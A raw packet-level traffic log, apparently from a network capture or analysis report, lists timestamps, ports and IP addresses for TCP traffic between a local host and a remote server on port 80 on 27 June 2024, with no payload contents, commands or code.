Jun 27, 2024 07:37:10.113835096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.113837004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113852024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113853931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.113867044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.113902092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.113933086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.114645004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114661932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114675045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114687920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114691019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.114701986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114716053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114717007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.114731073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114744902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114746094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.114759922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114775896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114782095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.114789963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114804029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114806890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.114818096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.114833117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.114860058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.115534067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.115547895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.115564108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.115577936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.115577936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.115592003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.115606070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.115619898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.115621090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.115634918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.115649939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.115664959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.115693092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.177494049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.177520990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.177532911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.177566051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.177587986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.177807093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.177819967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.177830935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.177843094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.177994013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181129932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181175947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181189060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181195974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181237936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181334019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181345940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181356907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181370020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181380987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181400061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181436062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181615114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181674957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181766987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181802034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181823969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181849003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181914091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181957006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.181969881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.181999922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.182008982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.182048082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.182055950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.182095051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186320066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186350107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186362982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186378956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186389923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186409950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186466932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186503887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186517954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186518908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186532974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186547995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186569929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186656952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186686039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186708927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186738014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186777115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186789989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186804056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186827898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186863899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186917067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186934948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.186968088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.186985016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.187000990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.187015057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.187053919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.197268009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197303057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197314024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197334051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.197362900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.197496891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197539091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197549105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.197585106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197592974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.197628975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197640896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.197675943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.197731972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197880983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.197896004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197943926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.197948933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.197993040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.198012114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198030949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198051929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198059082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.198074102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198081017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.198101997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.198122978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.198224068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198268890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198271990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.198313951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.198367119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198379993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198390961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198401928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198412895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198420048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.198424101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198435068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198446989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.198457003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.198484898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199098110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199110031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199126005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199139118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199150085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199151993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199161053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199172020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199177980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199183941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199196100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199204922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199213982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199228048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199245930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199280024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199800968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199811935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199821949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199836016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199851990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199856997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199862957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199873924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199886084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199887991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199897051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199907064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199911118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199918032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199928045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.199942112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.199980974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.200758934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200772047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200782061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200792074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200803995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200814962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200817108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.200824976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200834990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200836897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.200845957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200858116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200865984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.200869083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200880051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200889111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.200896978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200906992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.200911045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.200934887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.200953007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.201529026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:10.201586962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.521348000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:10.526582003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:11.233628988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:11.233709097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:11.334774017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:11.339809895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:12.041687012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:12.041760921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:12.737992048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:12.746356964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.474935055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.475034952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:13.777589083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:13.782448053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952105999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952219963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:13.952451944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952464104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952476025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952495098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952493906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:13.952507973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952528000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:13.952557087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:13.952579021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952589989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952601910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952613115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952625036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952625036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:13.952636003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:13.952642918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:13.952671051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.034575939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034652948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.034657001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034668922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034696102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.034722090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.034879923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034892082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034914970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.034933090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.034945965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034959078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034965038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034976006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034989119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.034996986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.035022974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.035309076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035324097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035336018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035353899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.035376072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035378933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.035393953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035403967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035417080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.035442114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.035731077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035744905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035757065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035768032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035778046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035784006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.035789967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.035805941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.035824060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.036139011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.036151886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.036163092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.036173105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.036185980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.036189079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.036200047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.036226988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117053986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117094040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117109060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117141008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117208004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117276907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117290974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117305040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117320061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117350101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117522955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117536068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117547035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117558002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117567062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117589951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117615938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117801905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117814064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117825985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117836952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117849112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.117851973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117871046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.117907047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.118206978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118218899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118228912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118243933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118252993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118257999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118261099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.118268967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118278027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.118279934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118294001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118314981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.118370056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.118843079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118855000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118865967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118875980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118881941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.118887901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118897915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118908882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118918896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.118920088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118931055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118942976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:14.118967056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.118992090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:14.119617939 CEST	80	49705	85.28.47.4	192.168.2.5
